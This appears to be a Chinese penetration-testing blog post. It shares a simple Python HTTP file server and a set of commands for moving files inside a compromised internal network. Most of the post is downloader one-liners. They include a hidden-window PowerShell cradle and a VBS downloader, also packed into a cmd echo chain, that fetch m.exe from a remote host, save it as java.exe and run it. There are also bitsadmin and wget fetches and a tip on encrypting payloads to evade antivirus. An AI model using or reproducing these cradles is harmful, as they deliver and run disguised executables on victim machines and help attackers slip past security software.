[源码]Python简易http服务器(内网渗透大文件传输含下载命令)

Python简易http服务器源码

import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
    print("use: web.exe port")
else:
    PORT = int(sys.argv[1])
    Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("", PORT), Handler)
    print "SimpleHTTPServer is ", PORT
    print "by k8gege"
    httpd.serve_forever()

用法:

python web.py 端口

web.exe 端口

访问: http://IP:端口

内网渗透

机器A:可上网

机器B:不联网

0x001 机器A文件传到机器B
使用方法,自行打包成可执行文件传到机器部署Web

然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B

0x002 机器B文件传到机器A

当然也可以反过来,将此程序上传到不可上网机器部部署web

再通过机器A下载机器B文件

0x003 速度

WGET内网下载速度高达70M/S

 下载命令

下载者(隐藏窗口)
powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:\windows\temp\java.exe');Start-Process c:\windows\temp\java.exe"
系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错)

bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:\WINDOWS\Temp\wget.exe
VBS下载者
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.25.128:13272/m.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
afile = "java.exe"
aGet.SaveToFile afile,2
Shell.Run (afile)

如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行

如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)

[源码]Python简易http服务器(内网渗透大文件传输含下载命令)

CMD命令-VBS下载者
del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs

以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)

我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件

Wget下载(Linux自带,win需传过去)
wget -P /tmp http://39.109.6.128/cmd.txt

终极方法(cmd直接输出文件)

工具k8exe2bat:  https://www.cnblogs.com/k8gege/p/10585903.html

将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。

因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好

PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)

  当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了

下载: https://github.com/k8gege/K8tools/blob/master/web.py

下载:https://github.com/k8gege/K8tools/blob/master/web.exe无Python环境可直接下载exe

上一篇:c#中委托和事件(转)


下一篇:解决Kali Linux没有声音